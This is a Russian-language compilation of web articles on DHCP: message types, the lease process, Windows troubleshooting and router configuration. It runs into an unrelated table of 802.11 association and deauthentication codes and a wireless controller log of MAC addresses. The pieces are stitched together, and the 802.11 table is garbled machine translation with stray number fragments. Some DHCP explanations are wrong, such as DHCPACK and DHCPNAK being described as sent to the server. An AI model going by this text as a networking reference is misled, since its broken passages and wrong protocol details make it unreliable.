IP-адрес relay-агента (агента ретрансляции)

chaddr

16

Адрес аппаратной части клиента (в основном MAC).

sname

64

Имя сервера.

file

128

Название загрузочного файла.

options           

изменяемая

     Дополнительные опции

Знание основ DHCP помогает в устранении различных проблем с сетью. В следующей части статьи мы затронем принципы работы протокола.

Как работает DHCP?

Перед изучением самого процесса, с помощью которого достигается поставленная цель, необходимо понять различные принципы обмена информацией, которые используются в данном процессе.

DHCPDISCOVER

Это сообщение обозначает начало DHCP взаимодействия между клиентом и сервером. Данное сообщение отправляется клиентом (компьютером или устройством), подключенным к сети. В этом сообщении используется 255.255.255.255 как IP-адрес доставки, тогда как исходным адресом является 0.0.0.0

DHCPOFFER

Это сообщение отправляется в ответ на DHCPDISCOVER от сервера DHCP для подключенных клиентов. В этом сообщении содержатся необходимые сетевые настройки.

DHCPREQUEST

Данное сообщение является ответом на DHCPOFFER, и обозначает, что клиент принял отправленные настройки.

DHCPACK

Данное сообщение отправляется на сервер протокола DHCP в ответ на DHCPREQUEST от клиента. Сообщение обозначает конец процесса, начатого с сообщения DHCPDISCOVER. Т.е. DHCPACK — это не что иное, как подтверждение от сервера начала авторизации клиента и принятие параметров конфигурации, полученных в самом начале от сервера.

DHCPNAK

Данное сообщение является противоположностью DHCPACK, описанного выше. Оно отправляется на сервер в случае, если невозможно удовлетворить параметры DHCPREQUEST клиента.

DHCPDECLINE

Сообщение отправляется клиентом на сервер в случае, если IP-адрес, присваиваемый в DHCP уже используется.

DHCPINFORM

Сообщение отправляется серверу в том случае, если клиенту DHCP присвоен статический IP-адрес, а по настройкам конфигурации необходим динамический адрес.

DHCPRELEASE

Сообщение отправляется клиентов в том случае, если он завершает процесс использования сетевого адреса.

Теперь, когда мы познакомились с различными сообщениями в DHCP, можно изучить весь процесс работы, чтобы получить более полное представление. Шаги ниже описываются исходя из того, что все настройки установлены по умолчанию.

Шаг 1.

Когда клиент (компьютер или устройство) загружается или подключается к сети, серверу отправляется сообщение DHCPDISCOVER. Если нет никаких дополнительных данных о конфигурации, то сообщение отправляется с адреса 0.0.0.0 к 255.255.255.255. Если сервер DHCP находится в локальной подсети, то она напрямую получает сообщение, если он находится в другой подсети, то используется агент ретрансляции для передачи запроса к серверу DCHP. Используется протокол передачи UDP через порт 67. Клиент на данном этапе начинает стадию авторизации.

Шаг 2.

В тот момент как сервер получил запрос DHCPDISCOVER, то он отправляет в ответ сообщение DHCPOFFER. Как говорилось ранее, в этом сообщении содержатся все необходимые параметры конфигурации, запрашиваемые клиентом. Например, IP-адрес, необходимый клиенту, а также значение маски подсети и информация о шлюзе. Также сервер сразу заполняет значения MAC-адреса в поле CHADDR. Сообщение отправляется клиенту от адреса 255.255.255.255 напрямую, а если сервер находится в другой подсети, то используются агенты ретрансляции, который отвечает за то, чтобы сообщение было доставлено. В этом случае для передачи применяется протокол UDP через порт 68. На этом этапе клиент начинает подбирать параметры.

Шаг 3.

Клиент формирует сообщение DHCPREQUEST, которое служит ответом на DHCPOFFER от сервера, указав, что он принимает параметры конфигурации, отправленные ему. Если бы было несколько серверов DCHP, то клиент бы получил также несколько сообщений DHCPOFFER, но клиент отвечает только одному серверу, заполняя параметры конфигурации для настройки. Таким образом, он проходит авторизацию с получением IP-адреса от одного конкретного сервера DHCP. Все сообщение от других серверов блокируются. Сообщение DHCPREQUEST по-прежнему будет содержать адрес источника 0.0.0.0, если клиенту все еще нельзя использовать IP-адреса, полученные в сообщении DHCPOFFER. В течение этого этапа клиент получает ответы на свои запросы.

Шаг 4.

Как только сервер получает DHCPREQUEST от клиента, он посылает DHCPACK сообщение о том, что теперь клиент может использовать IP-адрес, назначенный к нему. Клиент окончательно подключается к сети и с настроенными параметрами.

Концепция аренды

В дополнении к остальной необходимой информации о том, как работает DHCP, следует также знать IP-адрес, назначенный в DHCP сервером в аренду клиенту. После истечения срока аренды сервер DHCP может свободно присвоить этот IP-адрес другому компьютеру или устройству, запрашивающему то же самое. Например, сохранение срока аренды 8-10 часов полезно для компьютеров, которые обычно выключают в конце дня. Поэтому аренда должна продлеваться время от времени. После истечения половины срока аренды, DCHP клиент обычно пытается автоматически продлить данный срок. Это делается путем обмена DHCPREQUEST и DHCPACK сообщениями. Благодаря этому начинается стадия обновления данных для клиента.

Сообщество сисадминов

DHCP не включен на сетевом адаптере в Windows 10 и Windows 7

Самая популярная проблема при подключении ПК или ноутбука к интернету, это когда вроде бы все подключили, но интернет не работает. В этом случае может быть очень много разных симптомов, причин и решений. Первым делом нужно выяснить в чем причина. Рекомендую ориентироваться на ошибки, которые отображаются в Windows. Мало кто сразу запускает диагностику неполадок. А зря, ведь если само средство диагностики и устранения неполадок не сможет все исправить, то хотя бы сообщит нам об ошибке и подскажет где и как искать проблему. Как в нашем случае с ошибкой «DHCP не включен на сетевом адаптере…», которую можно увидеть в Windows 10, Windows 7 и т. д.

Когда после подключения кабеля, или после подключения к Wi-Fi сети (или попытки подключения) вы видите ошибку «Неопознанная сеть», «Подключение к интернету отсутствует», «Нет подключения. Вы не подключены ни к одной сети», «Без доступа к интернету» и т. д., то запустите диагностику неполадок.

Вполне возможно, что в процессе диагностики появится ошибка «DHCP не включен на сетевом адаптере Беспроводная сеть» (при подключении по Wi-Fi):

Или «DHCP не включен на сетевом адаптере Ethernet» (это в Windows 10, при подключении к интернету с помощью сетевого кабеля). В Windows 7 будет указан адаптер Подключение по локальной сети, или Беспроводное сетевое соединение.

При этом в самой системе (в моем случае в Windows 10) статус подключения к сети будет выглядеть примерно вот так (может немного отличаться в зависимости от способа подключения):

Если у вас все примерно так же, то вы зашли по адресу. Сейчас покажу, как можно решить эту проблему. Но сначала несколько слов о том, почему появляется эта ошибка, и почему этот DHCP не включен на сетевом адаптере.

Если просто и коротко, то DHCP позволяет Windows автоматически получать IP-адреса от роутера, или оборудования вашего интернет-провайдера. А эта ошибка появляется тогда, когда DHCP не может автоматически получит адреса, или не может получить те адреса, которые прописаны вручную. Чаще всего это происходит после того, как сам пользователь, или какой-то софт меняет настройки DHCP в свойствах адаптера «Беспроводная сеть», или «Ethernet». Это в Windows 10. А в Windows 7 это адаптеры «Беспроводное сетевое соединение» и «Подключение по локальной сети».

Как исправить ошибку «DHCP не включен на сетевом адаптере…» в Windows 10?

Для Windows 8 и Windows 7 эти рекомендации так же должны подойти. Некоторые пункты меню и настройки могут немного отличатся. Я буду показывать все на примере Windows 10.

Решение №1: через диагностику сетей Windows

Если вам повезет, то сразу после запуска средства диагностики появится следующее сообщение: «Автоматически обновлять параметры сети. В системе поддерживается автоматическое определение параметров сети». Не задумываясь нажимайте на «Внести это исправление».

Или после того, как будет обнаружена проблема, например, «DHCP не включен на сетевом адаптере Беспроводная сеть» нажмите на пункт «Попробуйте выполнить восстановление от имени администратора».

Если системе удастся автоматически решить эту проблему, то напротив обнаруженной проблемы появится надпись «Исправлено» и интернет заработает.

Если не получится с первого раза, то перезагрузите компьютер и запустите диагностику неполадок повторно.

Решение №2: проверяем настройки DHCP вручную

Первым делом нам нужно открыть окно «Сетевые подключения». Сделать это можно с помощью команды ncpa.cpl. Нажмите сочетание клавиш Win+R, скопируйте эту команду в поле «Открыть» и нажмите «Ok».

Дальше нужно нажать правой кнопкой мыши и открыть «Свойства» того адаптера, при подключении через который у вас возникла эта ошибка. В случае с Windows 10: «Ethernet» – это подключение по кабелю, а «Беспроводная сеть» – подключение по Wi-Fi.

Дальше выделяем протокол «IP версии 4 (TCP/IPv4)» и нажимаем на кнопку «Свойства». Выставляем автоматическое получение IP и DNS адресов, как показано на скриншоте ниже и нажимаем «Ok».

Если подключение к интернет не появится и статус «Неопознанная сеть» возле адаптера не пропадает, то убедитесь, что вы меняли настройки именно того адаптера, через который выполняете подключение. Так же выполните перезагрузку компьютера.

Выше я показал два основных решения, с помощью которых чаще всего удается избавится от этой ошибки. Если у вас ничего не получилось – смотрите другие решения.

Дополнительные решения и подсказки

  1. Сделайте сброс настроек сети. Здесь инструкция для Windows 10, а здесь для Windows 7 и Windows 8.
  2. Если подключение через роутер – перезагрузит его. Проверьте, работает ли интернет на других устройствах (через этот же роутер). Чтобы выяснит в чем причина, можете почитать статью Роутер перестал раздавать интернет. Как найти причину и устранить ее.
  3. Если кабель к компьютеру подключен напрямую от интернет-провайдера, то отключите его и подключите заново. Перезагрузите компьютер. Так же желательно позвонить в поддержку провайдера и выяснить, нет ли неполадок на их стороне. Или попробовать подключить интернет к другому компьютеру.
  4. Вспомните, что вы делали на компьютере перед появлением ошибки «DHCP не включен на сетевом адаптере». Возможно таким образом получится найти причину и устранить ее. Если перед этим вы что-то устанавливали или меняли настройки, и не знаете как все вернуть обратно – напишите в комментариях.
  5. Еще одна похожая ошибка: Сетевой адаптер не имеет допустимых параметров настройки IP. Посмотрите, возможно это ваш случай.
  6. Попробуйте прописать настройки IP вручную. Как это сделать, я показывал в этой статье.
  7. На всякий случай попробуйте полностью остановить работу антивируса. Если он установлен на вашем компьютере.
  8. Желательно выполнить переустановку сетевого адаптера. Для этого нужно зайти в диспетчер устройств и удалить сетевую карту, или Wi-Fi адаптер (в зависимости от того, с каким адаптером у вас проблемы).
    После удаления и перезагрузки компьютера может понадобится повторная установка драйвера. Здесь вам может пригодится инструкция по установке драйвера для сетевой карты и инструкция по установке (обновлению) драйвера Wi-Fi адаптера.
  9. Не лишней будет проверка компьютера на разного рода вирусы и вредоносное ПО с помощью специальных антивирусных утилит. Можно использовать AdwCleaner, Dr.Web CureIt!, Kaspersky AVP Tool, CrystalSecurity, AVZ и другие.

Вы всегда можете написать мне в комментариях ниже. Зачем? Например, чтобы подробно рассказать о своей проблеме (по теме этой статьи). Возможно я смогу заметить то, что не заметили вы и подсказать вам какое-то решение. Или же вы можете поделиться своим решением, если его нет в статье. Или просто написать, каким способом вам удалось избавится от ошибки с отключенным DHCP на сетевом адаптере.

что это, настройка на роутере простыми словами, включение и отключение


На чтение 9 мин. Просмотров 8 Опубликовано

Антон Богданов

Инженер-проектировщик сетей связи

DHCP-сервер — до недавнего времени этот термин использовался только среди профессионалов в области информационных систем. Но с появлением интернет-маршрутизаторов практически в каждой квартире разобраться с тем, как работает DHCP, будет нелишним и для простых людей, не связанных с телекоммуникационными сетями.

Что такое DHCP

Дословно эта аббревиатура (protocol DHCP) означает Dynamic Host Configuration Protocol, что в переводе на русский язык означает «протокол динамической настройки узла». Благодаря этой технологии не требуется прописывать на каждом клиенте сетевые параметры, такие как:

  • IP-адрес;
  • Маска подсети;
  • Основной шлюз;
  • Адрес DNS-сервера.

В рамках этой статьи определим термины:

  • Клиент (Client) – устройство, с которого происходит выход в интернет;
  • Сервер (Server) – устройство, предоставляющее возможность выхода в интернет для клиента.

Простыми словами, DHCP выполняет всю работу по подбору сетевых настроек автоматически, без необходимости присваивать вручную каждому устройству свой IP-адрес. Это очень упрощает работу системного администратора в случае расширения сети.

Виды

Для выхода в интернет используется протокол IPv4. Для своей работы он применяет IP-адреса. IP у каждого компьютера в рамках одной сети должен быть уникальный.

Определение адресов может быть двух типов:

  • Статическое (распределение вручную) – IP каждому клиенту присваивается вручную администратором сети;
  • Динамическое (DHCP) – IP присваиваются автоматически исходя из заданных условий.

Принцип действия

Если то для чего нужен DHCP, понять довольно просто, то с принципом его работы нужно немного разобраться. Присвоение IP посредством DHCP выполняется в 4 действия:

  • Discover (Поиск сервера). Клиент, которому нужно получить сетевой адрес, отправляет сообщение на все компьютеры в сети с запросом на присвоение ему IP. Для своей временной идентификации клиенту присваивается адрес 0.0.0.0;
  • Offer (Предложение сервера). Сервер получает запрос от клиента, анализирует его и, исходя из своих настроек, подбирает конфигурацию и отправляет её клиенту;
  • Request (Запрос). Получив предлагаемые настройки, клиент отправляет на адрес ответившего ему сервера запрос о предоставлении ему этих настроек;
  • Acknowledge (Подтверждение). Сервер получает запрос на уже конкретные настройки, предложенные ранее, создаёт привязку для клиента и отправляет ему их.

Присвоенные настройки выдаются не навсегда, а на какое-то время. Когда срок аренды (lease time) адреса подходит к концу, клиент отправляет на сервер запрос для обновления аренды этого же адреса. Сервер получает запрос, и если никаких причин для отказа нет, обновляет аренду.

Весь этот обмен пакетами происходит в пределах одной подсети, если клиент и сервер находятся в разных подсетях, то нужно использовать DHCP Relay для связи между ними.

IP адресация

Для работы по сети любому устройству требуется IP-адрес. В протоколе IPv4 это числовой идентификатор, состоящий из 4 разрядов, каждый из которых отделяется точкой, без него устройство не может быть определено в сетевой инфраструктуре. Зачастую маршрутизатор имеет IP-адрес 192.168.1.1, а подключённое к нему устройство, например, 192.168.1.2.

Клиенту должна быть присвоена определённая маска подсети, например, 255.255.255.0. Она позволяет определить к какой сети относится данный клиент.

Для связи между интернетом и сетью в любой сети должен быть определён IP-адрес основного шлюза. В роли шлюза выступает маршрутизатор, который предоставляет доступ в сеть всем устройствам в своей сети.

Проблемы с интернетом и сетью

При использовании DHCP могут возникать некоторые проблемы с доступом в интернет:

  • Дублирование IP. Когда в пределах одной сети у двух и более устройств прописан один и тот же адрес, то возникнет ошибка «Address Already in Use», что означает, что данный адрес уже используется. В этом случае нужно проверить настройки IP на всех компьютерах и изменить совпадающие. Это может быть из-за того, что на роутере установлена раздача адресов по DHCP или присвоены статические адреса некоторым устройствам, и из-за того, что неправильно задан диапазон IP, раздаваемых динамически, DHCP сервер пытается присвоить уже используемый адрес. Для решения этой проблемы можно посмотреть список клиентов DHCP и передвинуть диапазон динамических адресов далее;
  • Исчерпание IP. Это означает, что пул адресов, доступных для динамической раздачи, исчерпан и его нужно расширить, чтобы новые устройства могли получать адреса.
  • Неправильная настройка DHCP и клиента. В случае, если изменить на самом клиенте присвоенные ему автоматические настройки, то доступа в сеть не будет. Присваивать адреса клиентам нужно на роутере, и уже после и на клиенте.

Включение в Windows

В случае подключения компьютера напрямую к кабелю от интернет-провайдера, как правило, умения работать с DHCP не требуется. Поскольку в большинстве случаев подключение физических лиц происходит через протокол PPPoE, в котором пользователю нужно лишь создать подключение к сети и ввести там свой логин и пароль. В этом случае компьютеру будет присвоен динамический IP, который через время изменится на другой. И в этот момент пользователь не догадывается, что служба DHCP уже вовсю работает на его компьютере, и позволяет провайдеру предоставить ему любой IP.

Для настройки DHCP сервера в операционной системе Windows нужно зайти в “Центр управления сетями и общим доступом” и выбрать пункт “Изменение параметров адаптера”. В открывшемся окне нужно найти сетевую карту и в контекстном меню выбрать пункт “Свойства”, в новом окне найти пункт “IP версии 4” и нажать на кнопку “Свойства”. В открывшемся окне можно увидеть, что активны настройки получения адреса автоматически.

В случае, если провайдер предоставил вам статический IP, то это означает что для доступа в интернет устройство должно иметь строго тот адрес, который выдал провайдер, для этого в этом же окне нужно указать параметры, выданные провайдером. Проведя соответствующие настройки, вы отключите DHCP на своём компьютере и ему никто не сможет присвоить другой адрес, отличный от того, который был установлен.

Настройка на роутерах

Всё это относилось к настройкам внешнего IP, но что делать, если у пользователя стоит задача обеспечить доступом в интернет несколько устройств? В этом случае нужно использовать маршрутизатор, для настройки которого пригодится умение работать с DHCP.

В зависимости от того, какой тип подключения используется, с выделенным или динамическим IP, так же как и в случае с настройкой подключения в операционной системе, роутер получит либо динамический (DHCP), либо статический IP.

Но это ещё не всё, ведь для каждого устройства, подключённого к сети, требуется собственный адрес, уникальный только в рамках данной сети, чтобы роутер мог «понимать», как ему общаться с тем или иным устройством. Внешний адрес, уникальный в глобальной сети, у всех устройств будет точно такой же, как и у маршрутизатора, а вот с внутренними нужно будет разобраться непосредственно пользователю.

Сам роутер имеет статический внутренний IP, обычно это 192.168.1.1 или 192.168.0.1. На всех роутерах DHCP сервер активирован по умолчанию. Это сделано для того, чтобы можно было подключиться к маршрутизатору с любого устройства, роутер сам определит, какой ему присвоить адрес и даст доступ во внутреннюю сеть. Такой способ подключения клиентов очень удобен, ведь в этом случае не нужно проводить предварительную настройку каждого устройства и присваивать каждому уникальный внутренний адрес. Все новые устройства без проблем получат адреса и доступ в сеть.

Однако это может быть неудобно, если нужно управлять этими устройствами, в этом случае лучше будет отключить динамическое распределение адресов и присвоить каждому устройству свой IP. Принцип настройки DHCP-сервера на роутере разных моделей одинаков, но достигается разными путями.

Итак, всё же как включить DHCP на роутере? Если вкратце, то нужно сначала активировать работу сервера, настроить пул (диапазон адресов, которые выдаются роутером автоматически) задав начальный и конечный IP и время его аренды.

Asus

Настройка роутера этой фирмы происходит следующим образом. В левом краю web-панели есть пункт “Локальная сеть”, нажав на него, нужно выбрать вкладку DHCP-сервер. На открывшейся странице нужно отметить пункт “Да” в графе “Включить DHCP-сервер”.

Здесь можно настроить пул выдаваемых автоматически адресов и время аренды.

D-Link

Настраивать роутеры D-Link чуть сложнее, поскольку у них сильно разнятся варианты исполнения интерфейса. Но обычно пункт настройки DHCP вынесен непосредственно в основное меню на главной странице.

Здесь всё те же настройки, только выглядят несколько иначе.

TP-LINK

Параметры DHCP на устройствах TP-LINK доступны практически с главной страницы интерфейса.

В левом краю есть стэк “DHCP”. Развернув его, можно увидеть ещё три пункта, в которых можно настроить, посмотреть список клиентов и зарезервировать адреса для определённых клиентов. Для настройки нужно выбрать пункт “Настройка DHCP”. Далее нужно активировать сервер и произвести его настройку, задав интервал и время аренды.

Zyxel keenetic

Для настройки роутеров Zyxel нужно зайти в панель Администратора, затем в настройки домашней сети.

Там выбрать вкладку “Параметры IP” и поставить галочку “Включён” в пункте “Сервер DHCP”.

Netis

Настройки роутеров Netis несколько более скудные, здесь можно включить и отключить DHCP на маршрутизаторе и задать диапазон выдаваемых IP.

Попасть в эти настройки можно из стэка “Сеть”, пункт “LAN”.

Upvel

В левом стеке есть пункт “Основные настройки”, там “Интерфейс LAN”, в нём на выбор можно включить DHCP или DHCP Relay (ретранслятор в другие подсети).

Здесь можно установить диапазон адресов, срок аренды и редактировать список зарезервированных клиентов, добавлять и удалять их.

Мне нравитсяНе нравится

DHCP. Предотвращение конфликтов IP-адресов | Записки Web-разработчика

Конфликт IP-адресов — типичная причина неполадок DHCP. Два компьютера одной сети не могут иметь одинаковых личных IP-адресов. Если компьютеру присвоен IP-адрес, уже имеющийся в сети, один или оба компьютера могут быть отключены от сети. Для удобства выявления и предотвращения потенциальных конфликтов желательно включить диагностику конфликтов IP-адресов.

  1. В консоли DHCP правой кнопкой щелкните сервер и выберите Properties.
  1. На вкладке Advanced задайте ненулевое значение параметру Conflict Detection Attempts (Число попыток определения конфликтов). Он определяет число проверок IPадреса сервером (но команде ping) перед выдачей его клиенту в аренду.

Примечание. Личный IP-адрес — стандартный IP-адрес сети класса А, В или С. Когда клиент запрашивает аренду, сервер проверяет пул доступных адресов и предоставляет доступный IP-адрес. По умолчанию сервер проверяет только список адресов, уже выданных в аренду. Сеть не опрашивается для получения списка используемых адресов. В то же время в интенсивно работающей сети этот адрес может быть присвоен другому компьютеру администратором, или же к сети может подключиться компьютер с неистекшим сроком аренды, хотя сервер DHCPсчитает срок истекшим. В любом случае происходит конфликт адресов, вызывающий проблемы в сети. Чтобы этого не случалось, задайте число попыток распознавания конфликтов больше 0.

Сохранение и восстановление конфигурации DHCP.

После настройки всех необходимых параметров DHCP вам может понадобиться сохранить конфигурацию DHCP, чтобы затем ее можно было восстановить на сервере.

Для этого наберите в командной строке:

netsh dump dhcp > dhcpconfig.dmp

Здесь DHCPamfig.dmp — имя создаваемого сценария конфигурации.

Создав сценарий, вы можете восстановить конфигурацию, набрав:

netsh exec dhcpconfig.dmp

Совет: эта методика позволяет идентично настроить другой сервер DHCP: просто скопируйте сценарий в папку целевого компьютера и выполните указанную команду.

Статус ассоциации 802.11, коды причин 802.11 Deauth

000

000

000

000

000

000

000

000

000

000

Запрос на сопоставление отклонен, поскольку требуется возможность управления спектром

90 004

НЕ ПОДДЕРЖИВАЕТСЯ

НЕ ПОДДЕРЖИВАЕТСЯ

000

0009000

000

Код

Определение 802.11

Пояснение

1

Неустановленный сбой

Например: когда в запросе на привязку не указан ssid

10

000 Невозможно поддержать все запрошенные возможности поля 9 в поле Capability

Пример теста: отклонить, если бит конфиденциальности установлен для WLAN, не требующей защиты

11

Повторное связывание отклонено из-за невозможности подтвердить, что связь существует

НЕ ПОДДЕРЖИВАЕТСЯ

2

2 05 12

Связь отклонена по причине, выходящей за рамки настоящего стандарта

Пример: Когда контроллер получает связанное с неизвестным или отключенным SSID

13

Отвечающая станция не поддерживает указанный алгоритм аутентификации

Например, MFP отключен, но был запрошен клиентом.

14

Получен кадр аутентификации с порядковым номером транзакции аутентификации
из ожидаемой последовательности

Если порядковый номер аутентификации неверен.

15

Аутентификация отклонена из-за сбоя вызова

16

Ожидание

из-за тайм-аута

: ожидание

из-за тайм-аута

17

Связь запрещена, потому что AP не может обрабатывать дополнительные связанные станции

Произойдет, если у вас закончатся AID на AP; поэтому попробуйте связать большое количество станций.

18

Связь отклонена из-за того, что запрашивающая станция не поддерживает все скорости передачи данных в параметре
BSSBasicRateSet .

19

Связь отклонена из-за того, что запрашивающая станция не поддерживает короткую преамбулу
опция

НЕ ПОДДЕРЖИВАЕТСЯ

20

не поддерживает связь из-за запроса на связь

Модуляция PBCC
опция

НЕ ПОДДЕРЖИВАЕТСЯ

21

Связь запрещена из-за того, что запрашивающая станция не поддерживает опцию Channel Agility

НЕ ПОДДЕРЖИВАЕТ

000

НЕ ПОДДЕРЖИВАЕТСЯ

23

Запрос на сопоставление отклонен, так как информация в элементе Power Capability
неприемлема

24

Запрос на сопоставление отклонен, поскольку информация в элементе «Поддерживаемые каналы
» неприемлема

НЕ ПОДДЕРЖИВАЕТСЯ

из-за связи с запрашивающая станция не поддерживает опцию Short Slot Time

НЕ ПОДДЕРЖИВАЕТСЯ

26

Связь запрещена из-за того, что запрашивающая станция не поддерживает опцию DSSS-OFDM

28

27-31

Зарезервировано

НЕ ПОДДЕРЖИВАЕТСЯ

32

Не определено, отказ, связанный с QoS

0005000

0005000 Ассоциация дени ed, потому что QAP не имеет достаточной пропускной способности для обработки другого
QSTA

НЕ ПОДДЕРЖИВАЕТСЯ

34

Связь запрещена из-за чрезмерной скорости потери кадров и / или плохих условий на текущем рабочем канале

НЕ ПОДДЕРЖИВАЕТСЯ

35

Связь (с QBSS) отклонена, поскольку запрашивающая STA не поддерживает функцию QoS

Если WMM требуется для WLAN, а клиент не может это сделать , ассоциация будет отклонена.

36

Зарезервировано в 802.11

Это используется в нашем коде! Для этого кода состояния нет теста черного ящика.

37

Запрос был отклонен

Это не используется в ассоциированном ответе; игнорировать

38

Запрос не был успешным, так как один или несколько параметров имеют недопустимые значения

НЕ ПОДДЕРЖИВАЕТСЯ

39

, потому что TS не был создан просьба не может быть выполнена; однако предлагается предлагаемый TSPEC
, чтобы инициирующий QSTA мог попытаться установить другой TS
с предлагаемыми изменениями в TSPEC

НЕ ПОДДЕРЖИВАЕТСЯ

40

Недействительный информационный элемент, т.e., информационный элемент, определенный в этом стандарте для
, содержимое которого не соответствует спецификациям в пункте 7

Отправляется, когда IE Aironet отсутствует для CKIP WLAN

41

Недействительно групповой шифр

Используется при получении неподдерживаемого многоадресного кода 802.11i OUI

42

Недействительный парный шифр

000

44

Неподдерживаемая версия информационного элемента RSN

Если вы укажете что-нибудь, кроме значения версии 1, вы увидите этот код.

45

Недопустимые возможности информационного элемента RSN

Если WPA / RSN IE имеет неверный формат, например неправильную длину и т. Д., Вы увидите этот код.

46

Набор шифров отклонен из-за политики безопасности

НЕ ПОДДЕРЖИВАЕТСЯ

47

TS не создана; однако HC может быть способен создать TS в ответе
на запрос по истечении времени, указанного в элементе TS Delay

НЕ ПОДДЕРЖИВАЕТСЯ

48

Прямая ссылка не разрешена в BSS по политике

НЕ ПОДДЕРЖИВАЕТСЯ

49

STA назначения не присутствует в этом QBSS

НЕ ПОДДЕРЖИВАЕТСЯ

не является QSTA

НЕ ПОДДЕРЖИВАЕТСЯ

51

Связь запрещена, поскольку ListenInterval слишком велик

НЕ ПОДДЕРЖИВАЕТСЯ

200C

Не указано, сбой, связанный с QoS.
Не определено в IEEE, определено в CCXv4

Unspecified QoS Failure. Это произойдет, если запрос Assoc содержит более одного TSPEC для одного и того же AC.

201
(0xC9)

Запрос TSPEC отклонен из-за конфигурации политики точки доступа (например, точка доступа настроена на отклонение всех запросов TSPEC на этом SSID). AP не будет предлагать TSPEC по этому коду причины.
Не определено в IEEE, определено в CCXv4

Это произойдет, если TSPEC поступит в WLAN, которая имеет более низкий приоритет, чем настройки приоритета WLAN.Например, голосовой TSPEC поступает в Silver WLAN. Применимо только к клиентам CCXv4.

202
(0xCA)

Связь запрещена из-за того, что AP имеет недостаточную пропускную способность для обработки нового TS. Этот код причины будет полезен только в роуминге.
Не определено в IEEE, определено в CCXv4

203
(0xCB)

Неверные параметры. Запрос не был успешным, поскольку один или несколько параметров TSPEC в запросе имеют недопустимые значения.TSPEC ДОЛЖЕН присутствовать в ответе как предложение.

Не определено в IEEE, определено в CCXv4

Это происходит в таких случаях, как несоответствие скорости PHY. Если IE TSRS содержит, например, физическую скорость, не поддерживаемую контроллером. Другие примеры включают отправку TSPEC с неверными параметрами, например отправку скорости передачи данных 85K для узкополосного TSPEC.

.

Решено: клиент деаутентифицирован, причина: не указана ReasonCode: 1

0 Wed Oct 19 09:26:11 2011 Произошли ошибки дешифрования для клиента 00: 24: d6: 8c: 9f: 1a с использованием ключа WPA на Интерфейс 802.11a точки доступа 00: 1e: 4a: bf: 8a: 40
1 среда, 19 октября, 09:25:30 2011 Ассоциация клиентов: MAC-адрес клиента: e0: f8: 47: c7: 07: 95 MAC-адрес базовой радиостанции: 00: 1e: 4a: c0: 07: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.182
2 Среда 19 октября 09:23:29 2011 Клиент деаутентифицирован: MAC-адрес: 58: 17: 0c: 4b: e3: 80 Базовое радио MAC: 00: 1e: 4a: bf: b2: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.177 Причина: Не указано Код причины: 1
3 Ср 19 октября 09:22:27 2011 Связь с клиентом: MAC-адрес клиента: 00: 1d: d9: 3d: ba: df MAC-адрес базовой радиостанции: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
4 Ср 19 октября 09:22:26 2011 Клиент деаутентифицирован: MAC-адрес: 00: 1d: d9: 3d : ba: df Base Radio MAC: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.121 Причина: Не указано Код причины: 1
5 Ср, 19 октября 09: 22:03 2011 Произошли ошибки дешифрования для клиента 00: 24: d6: 86: 3c: 4a с использованием ключа WPA на 802.11b / g интерфейс AP 00: 1e: 4a: bf: b2: 90
6 среда 19 октября 09:20:29 2011 Ассоциация клиентов: MAC-адрес клиента: e0: f8: 47: c7: 07 : 95 Base Radio MAC: 00: 1e: 4a: c0: 07: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.182
7 Среда 19 октября 09:20:11 2011 Ошибки дешифрования произошло для клиента 00: 24: d6: 8c: 9f: 1a с использованием ключа WPA на интерфейсе 802.11a точки доступа 00: 1e: 4a: bf: 8a: 40
8 Wed Oct 19 09:20:05 2011 Связь с клиентом: MAC-адрес клиента: 00: 24: d6: 86: 3c: 4a MAC-адрес базового радио: 00: 1e: 4a: bf: b2: 90 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
9 среда, 19 октября 09:19:59 2011 Ассоциация клиентов: MAC-адрес клиента: 64: b9: e8: 2f: fd: a5 MAC-адрес базовой радиостанции: 00: 1e: 4a: bf: 8a: 40 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.172
10 Ср, 19 октября 09:19:54 2011 Ассоциация клиентов: MAC-адрес клиента: 00: 24: d6: 86: 3c: 4a MAC-адрес базового радио: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
11 среда, октябрь 19 09:19:53 2011 Клиент деаутентифицирован: MAC-адрес: 98: 03: d8: 9e: a2: 83 MAC-адрес базовой радиостанции: 00: 1e: 4a: c0: 07: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.148 Причина: Не указано Код причины: 1
12 Ср 19 октября 09:19:39 2011 Связь с клиентом: MAC-адрес клиента: 00: 24: d6: 86: 3c: 4a MAC-адрес базовой радиостанции: 00: 3a: 98: 5c: ea: 40 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
13 Wed Oct 19 09:18:08 2011 Client Association: Client MAC: 64: b9: e8: 2f: fd: a5 Базовое радио MAC: 00: 1e: 4a: bf: b2: 90 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.172
14 среда, октябрь 19 09:18:04 2011 Связь с клиентом: MAC-адрес клиента: 58: 17: 0c: 4b: e3: 80 MAC-адрес базовой станции: 00: 1e: 4a: bf: b2: 90 Слот: 0 Имя пользователя: неизвестный IP-адрес : unknown
15 Wed Oct 19 09:17:20 2011 Client Association: Client MAC: 58: 1f: aa: 21: 5c: f7 Base Radio MAC: 00: 1e: 4a: bf: b2 : 90 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.165
16 Wed Oct 19 09:17:02 2011 Ассоциация клиентов: MAC-адрес клиента: 00: 1d: d9: 3d: ba: df MAC-адрес базовой радиостанции: 00: 3a: 98: 66: 50:60 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
17 среда 19 октября 09:17:01 2011 Клиент деаутентифицирован: MAC-адрес: 00: 1d: d9: 3d: ba: df Базовое радио MAC: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.121 Причина: Не указано Код причины: 1
